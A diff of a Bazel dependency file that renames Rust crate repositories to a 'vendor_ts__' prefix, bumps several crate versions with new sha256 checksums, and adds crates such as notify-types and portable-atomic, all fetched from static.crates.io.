@@ -1735,7 +1809,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__memchr-2.7.4",
+        name = "vendor_ts__memchr-2.7.4",
         sha256 = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/memchr/2.7.4/download"],
@@ -1745,7 +1819,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__memoffset-0.9.1",
+        name = "vendor_ts__memoffset-0.9.1",
         sha256 = "488016bfae457b036d996092f6cb448677611ce4449e970ceaf42695203f218a",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/memoffset/0.9.1/download"],
@@ -1755,27 +1829,27 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__miniz_oxide-0.8.2",
-        sha256 = "4ffbe83022cedc1d264172192511ae958937694cd57ce297164951b8b3568394",
+        name = "vendor_ts__miniz_oxide-0.8.5",
+        sha256 = "8e3e04debbb59698c15bacbb6d93584a8c0ca9cc3213cb423d31f760d8843ce5",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/miniz_oxide/0.8.2/download"],
-        strip_prefix = "miniz_oxide-0.8.2",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.miniz_oxide-0.8.2.bazel"),
+        urls = ["https://static.crates.io/crates/miniz_oxide/0.8.5/download"],
+        strip_prefix = "miniz_oxide-0.8.5",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.miniz_oxide-0.8.5.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__mio-0.8.11",
-        sha256 = "a4a650543ca06a924e8b371db273b2756685faae30f8487da1b56505a8f78b0c",
+        name = "vendor_ts__mio-1.0.3",
+        sha256 = "2886843bf800fba2e3377cff24abf6379b4c4d5c6681eaf9ea5b0d15090450bd",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/mio/0.8.11/download"],
-        strip_prefix = "mio-0.8.11",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.mio-0.8.11.bazel"),
+        urls = ["https://static.crates.io/crates/mio/1.0.3/download"],
+        strip_prefix = "mio-1.0.3",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.mio-1.0.3.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__miow-0.6.0",
+        name = "vendor_ts__miow-0.6.0",
         sha256 = "359f76430b20a79f9e20e115b3428614e654f04fab314482fc0fda0ebd3c6044",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/miow/0.6.0/download"],
@@ -1785,7 +1859,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__mustache-0.9.0",
+        name = "vendor_ts__mustache-0.9.0",
         sha256 = "51956ef1c5d20a1384524d91e616fb44dfc7d8f249bf696d49c97dd3289ecab5",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/mustache/0.9.0/download"],
@@ -1795,7 +1869,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__nohash-hasher-0.2.0",
+        name = "vendor_ts__nohash-hasher-0.2.0",
         sha256 = "2bf50223579dc7cdcfb3bfcacf7069ff68243f8c363f62ffa99cf000a6b9c451",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/nohash-hasher/0.2.0/download"],
@@ -1805,17 +1879,27 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__notify-6.1.1",
-        sha256 = "6205bd8bb1e454ad2e27422015fb5e4f2bcc7e08fa8f27058670d208324a4d2d",
+        name = "vendor_ts__notify-8.0.0",
+        sha256 = "2fee8403b3d66ac7b26aee6e40a897d85dc5ce26f44da36b8b73e987cc52e943",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/notify/6.1.1/download"],
-        strip_prefix = "notify-6.1.1",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.notify-6.1.1.bazel"),
+        urls = ["https://static.crates.io/crates/notify/8.0.0/download"],
+        strip_prefix = "notify-8.0.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.notify-8.0.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__nu-ansi-term-0.46.0",
+        name = "vendor_ts__notify-types-2.0.0",
+        sha256 = "5e0826a989adedc2a244799e823aece04662b66609d96af8dff7ac6df9a8925d",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/notify-types/2.0.0/download"],
+        strip_prefix = "notify-types-2.0.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.notify-types-2.0.0.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__nu-ansi-term-0.46.0",
         sha256 = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/nu-ansi-term/0.46.0/download"],
@@ -1825,7 +1909,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__num-conv-0.1.0",
+        name = "vendor_ts__num-conv-0.1.0",
         sha256 = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/num-conv/0.1.0/download"],
@@ -1835,7 +1919,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__num-traits-0.2.19",
+        name = "vendor_ts__num-traits-0.2.19",
         sha256 = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/num-traits/0.2.19/download"],
@@ -1845,7 +1929,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__num_cpus-1.16.0",
+        name = "vendor_ts__num_cpus-1.16.0",
         sha256 = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/num_cpus/1.16.0/download"],
@@ -1855,17 +1939,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__once_cell-1.20.2",
-        sha256 = "1261fe7e33c73b354eab43b1273a57c8f967d0391e80353e51f764ac02cf6775",
+        name = "vendor_ts__once_cell-1.20.3",
+        sha256 = "945462a4b81e43c4e3ba96bd7b49d834c6f61198356aa858733bc4acf3cbe62e",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/once_cell/1.20.2/download"],
-        strip_prefix = "once_cell-1.20.2",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.once_cell-1.20.2.bazel"),
+        urls = ["https://static.crates.io/crates/once_cell/1.20.3/download"],
+        strip_prefix = "once_cell-1.20.3",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.once_cell-1.20.3.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__oorandom-11.1.4",
+        name = "vendor_ts__oorandom-11.1.4",
         sha256 = "b410bbe7e14ab526a0e86877eb47c6996a2bd7746f027ba551028c925390e4e9",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/oorandom/11.1.4/download"],
@@ -1875,7 +1959,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__os_str_bytes-7.0.0",
+        name = "vendor_ts__os_str_bytes-7.0.0",
         sha256 = "7ac44c994af577c799b1b4bd80dc214701e349873ad894d6cdf96f4f7526e0b9",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/os_str_bytes/7.0.0/download"],
@@ -1885,7 +1969,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__overload-0.1.1",
+        name = "vendor_ts__overload-0.1.1",
         sha256 = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/overload/0.1.1/download"],
@@ -1895,7 +1979,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__parking_lot-0.12.3",
+        name = "vendor_ts__parking_lot-0.12.3",
         sha256 = "f1bf18183cf54e8d6059647fc3063646a1801cf30896933ec2311622cc4b9a27",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/parking_lot/0.12.3/download"],
@@ -1905,7 +1989,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__parking_lot_core-0.9.10",
+        name = "vendor_ts__parking_lot_core-0.9.10",
         sha256 = "1e401f977ab385c9e4e3ab30627d6f26d00e2c73eef317493c4ec6d468726cf8",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/parking_lot_core/0.9.10/download"],
@@ -1915,7 +1999,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__pear-0.2.9",
+        name = "vendor_ts__pear-0.2.9",
         sha256 = "bdeeaa00ce488657faba8ebf44ab9361f9365a97bd39ffb8a60663f57ff4b467",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/pear/0.2.9/download"],
@@ -1925,7 +2009,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__pear_codegen-0.2.9",
+        name = "vendor_ts__pear_codegen-0.2.9",
         sha256 = "4bab5b985dc082b345f812b7df84e1bef27e7207b39e448439ba8bd69c93f147",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/pear_codegen/0.2.9/download"],
@@ -1935,7 +2019,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__perf-event-0.4.7",
+        name = "vendor_ts__perf-event-0.4.7",
         sha256 = "5396562cd2eaa828445d6d34258ae21ee1eb9d40fe626ca7f51c8dccb4af9d66",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/perf-event/0.4.7/download"],
@@ -1945,7 +2029,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__perf-event-open-sys-1.0.1",
+        name = "vendor_ts__perf-event-open-sys-1.0.1",
         sha256 = "ce9bedf5da2c234fdf2391ede2b90fabf585355f33100689bc364a3ea558561a",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/perf-event-open-sys/1.0.1/download"],
@@ -1955,7 +2039,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__petgraph-0.6.5",
+        name = "vendor_ts__petgraph-0.6.5",
         sha256 = "b4c5cc86750666a3ed20bdaf5ca2a0344f9c67674cae0515bec2da16fbaa47db",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/petgraph/0.6.5/download"],
@@ -1965,7 +2049,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__pin-project-lite-0.2.16",
+        name = "vendor_ts__pin-project-lite-0.2.16",
         sha256 = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/pin-project-lite/0.2.16/download"],
@@ -1975,7 +2059,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__powerfmt-0.2.0",
+        name = "vendor_ts__portable-atomic-1.11.0",
+        sha256 = "350e9b48cbc6b0e028b0473b114454c6316e57336ee184ceab6e53f72c178b3e",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/portable-atomic/1.11.0/download"],
+        strip_prefix = "portable-atomic-1.11.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.portable-atomic-1.11.0.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__powerfmt-0.2.0",
         sha256 = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/powerfmt/0.2.0/download"],
@@ -1985,7 +2079,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__ppv-lite86-0.2.20",
+        name = "vendor_ts__ppv-lite86-0.2.20",
         sha256 = "77957b295656769bb8ad2b6a6b09d897d94f05c41b069aede1fcdaa675eaea04",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/ppv-lite86/0.2.20/download"],
@@ -1995,17 +2089,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__proc-macro2-1.0.93",
-        sha256 = "60946a68e5f9d28b0dc1c21bb8a97ee7d018a8b322fa57838ba31cc878e22d99",
+        name = "vendor_ts__proc-macro2-1.0.94",
+        sha256 = "a31971752e70b8b2686d7e46ec17fb38dad4051d94024c88df49b667caea9c84",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/proc-macro2/1.0.93/download"],
-        strip_prefix = "proc-macro2-1.0.93",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.proc-macro2-1.0.93.bazel"),
+        urls = ["https://static.crates.io/crates/proc-macro2/1.0.94/download"],
+        strip_prefix = "proc-macro2-1.0.94",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.proc-macro2-1.0.94.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__proc-macro2-diagnostics-0.10.1",
+        name = "vendor_ts__proc-macro2-diagnostics-0.10.1",
         sha256 = "af066a9c399a26e020ada66a034357a868728e72cd426f3adcd35f80d88d88c8",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/proc-macro2-diagnostics/0.10.1/download"],
@@ -2015,377 +2109,367 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__quote-1.0.38",
-        sha256 = "0e4dccaaaf89514f546c693ddc140f729f958c247918a13380cccc6078391acc",
-        type = "tar.gz",
-        urls = ["https://static.crates.io/crates/quote/1.0.38/download"],
-        strip_prefix = "quote-1.0.38",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.quote-1.0.38.bazel"),
-    )
-
-    maybe(
-        http_archive,
-        name = "vendor__ra-ap-rustc_abi-0.87.0",
-        sha256 = "28b782af0a7a8df16ddf43cd70da9f17bc3b1ce712c9e4992b6edb16f5f53632",
+        name = "vendor_ts__quote-1.0.40",
+        sha256 = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra-ap-rustc_abi/0.87.0/download"],
-        strip_prefix = "ra-ap-rustc_abi-0.87.0",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_abi-0.87.0.bazel"),
+        urls = ["https://static.crates.io/crates/quote/1.0.40/download"],
+        strip_prefix = "quote-1.0.40",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.quote-1.0.40.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra-ap-rustc_index-0.87.0",
-        sha256 = "ce5742f134960482f543b35ecebec3cacc6d79a9a685713518b4d8d70c5f9aa8",
+        name = "vendor_ts__ra-ap-rustc_abi-0.100.0",
+        sha256 = "f1651b0f7e8c3eb7c27a88f39d277e69c32bfe58e3be174d286c1a24d6a7a4d8",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra-ap-rustc_index/0.87.0/download"],
-        strip_prefix = "ra-ap-rustc_index-0.87.0",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_index-0.87.0.bazel"),
+        urls = ["https://static.crates.io/crates/ra-ap-rustc_abi/0.100.0/download"],
+        strip_prefix = "ra-ap-rustc_abi-0.100.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_abi-0.100.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra-ap-rustc_index_macros-0.87.0",
-        sha256 = "d7ea011fcf68309a8835ad01d91c032cb18444617b00e2cab21d45b208164441",
+        name = "vendor_ts__ra-ap-rustc_hashes-0.100.0",
+        sha256 = "2bcd85e93dc0ea850bcfe7957a115957df799ccbc9eea488bdee5ec6780d212b",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra-ap-rustc_index_macros/0.87.0/download"],
-        strip_prefix = "ra-ap-rustc_index_macros-0.87.0",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_index_macros-0.87.0.bazel"),
+        urls = ["https://static.crates.io/crates/ra-ap-rustc_hashes/0.100.0/download"],
+        strip_prefix = "ra-ap-rustc_hashes-0.100.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_hashes-0.100.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra-ap-rustc_lexer-0.87.0",
-        sha256 = "eb76f0a4d4c20859e41f0a23bff0f37ab9ca9171c214a6c7dd72ea69434865dc",
+        name = "vendor_ts__ra-ap-rustc_index-0.100.0",
+        sha256 = "62b295fc0640cd9fe0ecab872ee4a17a96f90a3998ec9f0c4765e9b8415c12cc",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra-ap-rustc_lexer/0.87.0/download"],
-        strip_prefix = "ra-ap-rustc_lexer-0.87.0",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_lexer-0.87.0.bazel"),
+        urls = ["https://static.crates.io/crates/ra-ap-rustc_index/0.100.0/download"],
+        strip_prefix = "ra-ap-rustc_index-0.100.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_index-0.100.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra-ap-rustc_parse_format-0.87.0",
-        sha256 = "06080bd35078305421a62da77f3c128482d8d44441b6da8ce9d146d1cd9cdb5b",
+        name = "vendor_ts__ra-ap-rustc_index_macros-0.100.0",
+        sha256 = "c675f4257023aa933882906f13802cae287e88cc39ab13cbb96809083db0c801",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra-ap-rustc_parse_format/0.87.0/download"],
-        strip_prefix = "ra-ap-rustc_parse_format-0.87.0",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_parse_format-0.87.0.bazel"),
+        urls = ["https://static.crates.io/crates/ra-ap-rustc_index_macros/0.100.0/download"],
+        strip_prefix = "ra-ap-rustc_index_macros-0.100.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_index_macros-0.100.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra-ap-rustc_pattern_analysis-0.87.0",
-        sha256 = "68a3154fe4c20c177d7b3c678a2d3a97aba0cca156ddef88959915041889daf0",
+        name = "vendor_ts__ra-ap-rustc_lexer-0.100.0",
+        sha256 = "c8358702c2a510ea84ba5801ddc047d9ad9520902cfb0e6173277610cdce2c9c",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra-ap-rustc_pattern_analysis/0.87.0/download"],
-        strip_prefix = "ra-ap-rustc_pattern_analysis-0.87.0",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_pattern_analysis-0.87.0.bazel"),
+        urls = ["https://static.crates.io/crates/ra-ap-rustc_lexer/0.100.0/download"],
+        strip_prefix = "ra-ap-rustc_lexer-0.100.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_lexer-0.100.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_base_db-0.0.258",
-        sha256 = "548b95b278a8f6f888a0bb6cb7bf4201fe920d3800cd99770054e5eb72f3cd6a",
+        name = "vendor_ts__ra-ap-rustc_parse_format-0.100.0",
+        sha256 = "b98f402011d46732c35c47bfd111dec0495747fef2ec900ddee7fe15d78449a7",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_base_db/0.0.258/download"],
-        strip_prefix = "ra_ap_base_db-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_base_db-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra-ap-rustc_parse_format/0.100.0/download"],
+        strip_prefix = "ra-ap-rustc_parse_format-0.100.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_parse_format-0.100.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_cfg-0.0.258",
-        sha256 = "921e2b0232d1e8352eb9f476bb55c1d8bcbed0531adc17c74aa711fef015c851",
+        name = "vendor_ts__ra-ap-rustc_pattern_analysis-0.100.0",
+        sha256 = "bef3ff73fa4653252ffe1d1e9177a446f49ef46d97140e4816b7ff2dad59ed53",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_cfg/0.0.258/download"],
-        strip_prefix = "ra_ap_cfg-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_cfg-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra-ap-rustc_pattern_analysis/0.100.0/download"],
+        strip_prefix = "ra-ap-rustc_pattern_analysis-0.100.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_pattern_analysis-0.100.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_edition-0.0.258",
-        sha256 = "a7cc6633305d878cafb4a4482e7e7002d1a5d7b15fa837728b6613ff5336f8a4",
+        name = "vendor_ts__ra_ap_base_db-0.0.270",
+        sha256 = "4baa9734d254af14fd603528ad594650dea601b1764492bd39988da38598ae67",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_edition/0.0.258/download"],
-        strip_prefix = "ra_ap_edition-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_edition-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_base_db/0.0.270/download"],
+        strip_prefix = "ra_ap_base_db-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_base_db-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_hir-0.0.258",
-        sha256 = "6e3f6b31381a297e5bb4fa76108a2cf7bf8d35067a130f932aa6fdfb733ba3a1",
+        name = "vendor_ts__ra_ap_cfg-0.0.270",
+        sha256 = "0ef2ba45636c5e585040c0c4bee640737a6001b08309f1a25ca78cf04abfbf90",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_hir/0.0.258/download"],
-        strip_prefix = "ra_ap_hir-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_hir-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_cfg/0.0.270/download"],
+        strip_prefix = "ra_ap_cfg-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_cfg-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_hir_def-0.0.258",
-        sha256 = "84144bdda7af170e660d312982889622f4a5361c1bb74df2afa2a6ce17d48644",
+        name = "vendor_ts__ra_ap_edition-0.0.270",
+        sha256 = "8955c1484d5e7274f755187788ba0d51eb149f870c69cdf0d87c3b7edea20ea0",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_hir_def/0.0.258/download"],
-        strip_prefix = "ra_ap_hir_def-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_hir_def-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_edition/0.0.270/download"],
+        strip_prefix = "ra_ap_edition-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_edition-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_hir_expand-0.0.258",
-        sha256 = "441661b394acfa4f3ac4cb54386f8ee8b451504ec167b0bf0e4200da1bbca50d",
+        name = "vendor_ts__ra_ap_hir-0.0.270",
+        sha256 = "a51d7955beff2212701b149bea36d4cf2dc0f5cd129652c9bcf0cb5c0b021078",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_hir_expand/0.0.258/download"],
-        strip_prefix = "ra_ap_hir_expand-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_hir_expand-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_hir/0.0.270/download"],
+        strip_prefix = "ra_ap_hir-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_hir-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_hir_ty-0.0.258",
-        sha256 = "6feea30dff289f33a8ed76172ff4cb299db22d224f88735aa2c7f49ba1e5e77f",
+        name = "vendor_ts__ra_ap_hir_def-0.0.270",
+        sha256 = "e5c97e617e4c585d24b3d4f668861452aedddfbe0262f4c53235dcea77e62f9b",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_hir_ty/0.0.258/download"],
-        strip_prefix = "ra_ap_hir_ty-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_hir_ty-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_hir_def/0.0.270/download"],
+        strip_prefix = "ra_ap_hir_def-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_hir_def-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_ide_db-0.0.258",
-        sha256 = "7e33bd5a0139b6c74d34ed963494115abe3f9c95cf5936871ab3d9b548ccbbdf",
+        name = "vendor_ts__ra_ap_hir_expand-0.0.270",
+        sha256 = "be57c0d7e3f2180dd8ea584b11447f34060eadc06f0f6d559e2a790f6e91b6c5",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_ide_db/0.0.258/download"],
-        strip_prefix = "ra_ap_ide_db-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_ide_db-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_hir_expand/0.0.270/download"],
+        strip_prefix = "ra_ap_hir_expand-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_hir_expand-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_intern-0.0.258",
-        sha256 = "faa7ee24ae9bf4d2536ef7fb6de35f30856edbf7b3d6ac02e5a2532118896569",
+        name = "vendor_ts__ra_ap_hir_ty-0.0.270",
+        sha256 = "f260f35748f3035b46a8afcdebda7cb75d95c24750105fad86101d09a9d387c8",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_intern/0.0.258/download"],
-        strip_prefix = "ra_ap_intern-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_intern-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_hir_ty/0.0.270/download"],
+        strip_prefix = "ra_ap_hir_ty-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_hir_ty-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_limit-0.0.258",
-        sha256 = "90d8a2aecbd488cf79b430bd5abe6650da44ae58b31cd6052c909dbd3f5d5926",
+        name = "vendor_ts__ra_ap_ide_db-0.0.270",
+        sha256 = "0426263be26e27cb55a3b9ef88b120511b66fe7d9b418a2473d6d5f3ac2fe0a6",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_limit/0.0.258/download"],
-        strip_prefix = "ra_ap_limit-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_limit-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_ide_db/0.0.270/download"],
+        strip_prefix = "ra_ap_ide_db-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_ide_db-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_load-cargo-0.0.258",
-        sha256 = "6e2372aadd32e85460de595891c8b3562126166bc94fdc24508d6784c9d93357",
+        name = "vendor_ts__ra_ap_intern-0.0.270",
+        sha256 = "f6ea8c9615b3b0688cf557e7310dbd9432f43860c8ea766d54f4416cbecf3571",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/ra_ap_load-cargo/0.0.258/download"],
-        strip_prefix = "ra_ap_load-cargo-0.0.258",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_load-cargo-0.0.258.bazel"),
+        urls = ["https://static.crates.io/crates/ra_ap_intern/0.0.270/download"],
+        strip_prefix = "ra_ap_intern-0.0.270",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_intern-0.0.270.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ra_ap_mbe-0.0.258",
-        sha256 = "bf69ba82adb6e436617ecd09c0ff58006f376060dff437eb9fd383c2983f6d01",
+        name = "vendor_ts__ra_ap_load-cargo-0.0.270",
